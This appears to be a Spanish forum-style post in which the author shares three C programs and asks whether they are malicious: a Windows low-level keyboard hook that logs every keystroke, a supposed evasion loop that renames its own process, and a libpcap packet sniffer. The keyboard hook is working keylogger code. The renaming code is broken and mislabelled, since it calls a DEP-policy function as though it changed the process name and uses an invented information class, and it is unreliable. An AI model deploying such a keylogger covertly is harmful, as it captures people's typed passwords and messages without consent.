¿Esto es un keylogger a bajo nivel?

#include <windows.h>
#include <stdio.h>
 
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
    if (nCode >= 0) {
        if (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) {
            KBDLLHOOKSTRUCT *pKey = (KBDLLHOOKSTRUCT *)lParam;
            printf("Tecla pulsada: %d\n", pKey->vkCode);
        }
    }
 
    return CallNextHookEx(NULL, nCode, wParam, lParam);
}
 
int main() {
    // Instalar el gancho de teclado
    HHOOK hook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, NULL, 0);
    if (hook == NULL) {
        printf("Error al instalar el gancho de teclado.\n");
        return 1;
    }
 
    // Mantener el programa en ejecución
    MSG msg;
    while (GetMessage(&msg, NULL, 0, 0) > 0) {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }
 
    // Desinstalar el gancho de teclado antes de salir
    UnhookWindowsHookEx(hook);
 
    return 0;
}
 

¿Y esto, es un proceso de nombre travieso?

#include <windows.h>
#include <stdio.h>
#include <string.h>
#include <time.h>
 
int main() {
    srand(time(NULL)); // Inicializar la semilla para generar nombres aleatorios
 
    while (1) {
        // Generar un nuevo nombre aleatorio para el proceso
        char nuevo_nombre[256];
        sprintf(nuevo_nombre, "Proceso_%d", rand());
 
        // Obtener el identificador del proceso actual
        DWORD id_proceso = GetCurrentProcessId();
 
        // Obtener el identificador del proceso
        HANDLE h_proceso = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_SET_INFORMATION, FALSE, id_proceso);
 
        if (h_proceso != NULL) {
            // Cambiar el nombre del proceso
            if (!SetProcessDEPPolicy(0)) {
                printf("Error al cambiar el nombre del proceso. Código de error: %d\n", GetLastError());
                return 1;
            }
 
            // Restaurar el nombre del proceso utilizando un método de bajo nivel
            HMODULE kernel32 = GetModuleHandleA("kernel32.dll");
            if (kernel32 != NULL) {
                FARPROC proc = GetProcAddress(kernel32, "SetProcessInformation");
                if (proc != NULL) {
                    ((BOOL(WINAPI *)(HANDLE, DWORD, PVOID, DWORD))proc)(h_proceso, 0x1d, nuevo_nombre, strlen(nuevo_nombre) + 1);
                }
            }
 
            // Cerrar el handle del proceso
            CloseHandle(h_proceso);
        } else {
            printf("Error al obtener el identificador del proceso. Código de error: %d\n", GetLastError());
            return 1;
        }
 
        // Esperar un segundo antes de cambiar el nombre nuevamente
        Sleep(1000);
    }
 
    return 0;
}
 

No lo sé. ¿Lo son? ¿Qué otras cosas se pueden hacer? Mmmm...

¿Interceptar todo el tráfico?

#include <stdio.h>
#include <pcap.h>
 
void procesar_paquete(u_char *args, const struct pcap_pkthdr *header, const u_char *packet) {
    printf("Paquete capturado, longitud: %d\n", header->len);
}
 
int main() {
    pcap_t *handle;
    char errbuf[PCAP_ERRBUF_SIZE];
 
    // Abrir la interfaz de red para capturar
    handle = pcap_open_live("\\Device\\NPF_{A6D38AA9-CCE1-49B9-BC0C-2B3C79E349E1}", 65536, 1, 1000, errbuf);
    if (handle == NULL) {
        fprintf(stderr, "Error al abrir la interfaz: %s\n", errbuf);
        return 1;
    }
 
    // Compilar y aplicar el filtro (opcional)
    struct bpf_program fp;
    char filter_exp[] = "ip"; // Filtro de ejemplo para capturar paquetes IP
    if (pcap_compile(handle, &fp, filter_exp, 0, PCAP_NETMASK_UNKNOWN) == -1) {
        fprintf(stderr, "Error al compilar el filtro: %s\n", pcap_geterr(handle));
        return 1;
    }
    if (pcap_setfilter(handle, &fp) == -1) {
        fprintf(stderr, "Error al aplicar el filtro: %s\n", pcap_geterr(handle));
        return 1;
    }
 
    // Capturar y procesar paquetes
    pcap_loop(handle, 0, procesar_paquete, NULL);
 
    // Cerrar el manejador de captura
    pcap_close(handle);
 
    return 0;
}
 
 

No sé si funcionarán. ¿Más del estilo?